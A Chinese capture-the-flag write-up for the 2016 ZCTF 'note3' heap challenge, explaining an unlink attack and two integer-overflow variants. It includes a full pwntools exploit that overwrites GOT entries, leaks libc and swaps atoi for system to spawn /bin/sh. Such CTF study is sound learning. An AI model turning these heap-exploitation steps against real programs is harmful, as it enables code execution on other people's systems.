0

2016 ZCTF note3:一种新解法 - C0ngvv

 1 year ago
source link: https://www.cnblogs.com/C0ngvv/p/16747914.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

2016 ZCTF note3:一种新解法

最近在学习unlink做到了这道题,网上有两种做法:一种是利用edit功能读入id时整数溢出使索引为-1,一种是设置块大小为0使得写入时利用整数溢出漏洞可以将数据溢出到下一个块中。我采取了另一种思路:程序在分配id=7块时虽然提示块已满,但没有采取措施,依然分配了一个块,并将块地址放在了存放块0 size的位置,使得可以往块0写入足够多的数据溢出到下一个块中。

我先分析我的解法,然后再简单叙述一下另外两种解法的原理。

一般步骤查看程序保护措施。

2419541-20221001215744123-1185808991.png

该程序有4个功能:

  • New note
  • Show note(假的,只打印一个字符串)
  • Edit note
  • Delete note

New功能

添加note函数如下图,主要流程已通过注释标注。值得注意的是当i=7时,虽然提示note已满,添加失败,但没有return语句,后面依然为它分配块并将地址保存在&ptr+7处。(注意:i=0时块的size保存在qword_6020C0[0+8]处)

2419541-20221001220835396-177312900.png

需要关注的是qword_6020C0ptr的关系,其内存关系如下所示

.bss:00000000006020C0 ; __int64 qword_6020C0[]
.bss:00000000006020C0 qword_6020C0    dq ?                    ; DATA XREF: sub_400A30+D1↑w
.bss:00000000006020C0                                         ; sub_400A30+E6↑w ...
.bss:00000000006020C8 ; void *ptr
.bss:00000000006020C8 ptr             dq ?                    ; DATA XREF: sub_400A30+16↑r
.bss:00000000006020C8                                         ; sub_400A30+BC↑w ...
.bss:00000000006020D0                 dq ?
.bss:00000000006020D8                 dq ?
.bss:00000000006020E0                 dq ?
.bss:00000000006020E8                 dq ?
.bss:00000000006020F0                 dq ?
.bss:00000000006020F8                 dq ?
.bss:0000000000602100                 dq ?
.bss:0000000000602108                 dq ?

可以看到ptr所在位置等同于qword_6020C0[1]所在位置,所以当i=7时分配的块地址保存在&ptr+7等同于保存在qword_6020C0[8]处,即表示i=0块的大小。通过分配i=7块可实现i=0块大小被新分配块地址覆写,而块地址所代表的大小足够我们溢出到后面的块内。

Show功能

该功能没什么用,只打印一串字符串。

2419541-20221001220852088-2128684943.png

Edit功能

如图,主要操作通过注释的方式介绍。

2419541-20221001220903298-1920698573.png

Delete功能

2419541-20221001220910769-1846455939.png

qword_6020C0[0]可以理解为最近操作过的块地址。

漏洞利用思路如下:

1.unlink

添加7个块后,再添加一个块(i=7),这时块0的大小会被改的很大(值为块7的地址),然后在块0中构造fake_chunk并溢出到下一个块修改header数据实现unlink。需要注意第i=1个块时大小要超过fastbin的范围。

2.泄露地址

unlink后可以实现任意写。为了泄露函数地址,需要执行输出函数,可以将free@got值改为puts@plt值,然后将块i的地址改为puts@got的地址,这时调用删除功能free(块i)就可以输出puts@got的值,从而得到动态链接库加载地址,进一步得到system地址。

3.getshell

最后将atoi@got值改为system地址,然后在选择功能时输入/bin/sh即可得到shell。

Expolit

漏洞利用代码如下:

from pwn import *

p = process('./note3')
#context.log_level = 'debug'

def new(size,content):
    p.sendlineafter('option--->>','1')
    p.sendlineafter('1024)',str(size))
    p.sendlineafter('content:', content)
    p.recvuntil('\n')

def edit(idx, content):
    p.sendlineafter('option--->>','3')
    p.sendlineafter('note:', str(idx))
    p.sendlineafter('content:', content)
    p.recvuntil('success')

def delete(idx):
    p.sendlineafter('option--->>', '4')
    p.sendlineafter('note:', str(idx))

#gdb.attach(p)
# 分配7+1个块
new(0x40, 'b'*32)
new(0x80, 'b'*32)	#为进行unlink,块要大于fastbin
new(0x80, 'b'*32)
new(0x80, 'b'*32)
new(0x80, 'b'*32)
new(0x80, 'b'*32)
new(0x80, 'b'*32)
new(0x80, 'b'*32)	#第0块的size变量值会被该块的地址覆盖,进而第0块可以写入足够多的数据

target = 0x6020C8	#指向ptr
fd = target - 0x18
bk = target - 0x10
# 构造fake_chunk
payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'b'*0x8
# 溢出到下一个块,覆盖chunk header
payload += p64(0x40) + p64(0x90)
edit(0,payload)		# 向块0写入数据溢出
delete(1)			# 触发unlink=>ptr[0]=&ptr-0x18

elf = ELF('./note3')
# 从&ptr-0x18开始写入数据 =>
# 0x6020C8(ptr+0x00): elf.got['free']		chunk0_ptr
# 0x6020D0(ptr+0x08): elf.got['puts']		chunk1_ptr
# 0x6020D8(ptr+0x10): 0x6020C8				chunk2_ptr
payload = p64(0)*3 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(0x6020c8)
edit(0,payload)

# 将free@got改为puts@plt:
# 向chunk0_ptr(free@got)写入puts@plt
# 注意这里发送的地址是7位,因为程序会在用户输入后面加上\x00,若发送8位会将下一个got地址低字节变为0。这里puts@plt高字节也为\x00,所以发送7位无影响。
edit(0, p64(elf.plt['puts'])[:-1])
# 原会调用free(chunk1_put),实际调用puts(puts@got)泄露地址
delete(1)
p.recvuntil('\n')
# 读取泄露的地址值
puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
print(hex(puts_addr))
# 任意地址写,通过edit chunk2_ptr来修改chunk0_ptr的指向,再通过edit chunk0_ptr修改chunk0_ptr指向的值。
def write(where,what):
    edit(2, p64(where))
    edit(0, p64(what))
# 获取libc基址
libc = ELF('./libc-2.23.so')
libc_base = puts_addr - libc.symbols['puts']
log.success('libc base: ' + hex(libc_base))
# 获取system函数地址
sys_addr = libc_base + libc.symbols['system']
log.success('sys_addr: ' + hex(sys_addr))
# 将atio@got值改为system函数地址
write(elf.got['atoi'], sys_addr)
# 因为atoi改为了system,输入选项时输入"/bin/sh",会执行system("/bin/sh")
p.sendlineafter('option--->>','/bin/sh\x00')
p.interactive()

执行结果如图所示

2419541-20221001220928551-666552588.png

方法2:编辑时整数溢出

下图为向块写入时的功能函数,这里变量i定义为unsigned __int64类型,在第7行,当a20时,a2-1就会变得"无限大",从而可以无限制写入数据,溢出到下一个块,利用unlink漏洞实现任意地址写,进而拿到系统shell。

2419541-20221001220939979-814395612.png

方法3:输入索引整数溢出

在edit功能内,调用read_num_4009B9()让用户输入索引,利用求余使索引小于7

2419541-20221001221020745-1385655086.png

进入read_num_4009B9()函数内,可以看到程序对用户输入进行了判断,若小于0则取相反数。

2419541-20221001221027385-363621781.png

漏洞就出现在,当用户输入的为最大负整数(即-9223372036854775808),内存中十六进制表示为0x8000000000000000,取相反数过程为-x=~x+1,即0x7fffffffffffffff+1=0x8000000000000000在计算机表示中最大负整数的相反数还是最大负整数

v0为最大负整数,则v0%7>=v0的条件也能被满足,且结果v3-1,这将向ptr[-1]指向的地址写入内容,而ptr[-1]指向的地址为最近操作过的块的地址。而写入的大小为qword_6020C0[-1+8],即ptr[6],其为i=6块的地址,即可以写入"无限"多的数据,溢出到下一块实现unlink,进一步实现任意地址写、函数地址泄露、构造执行system("/bin/sh"),拿到shell。

__EOF__


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK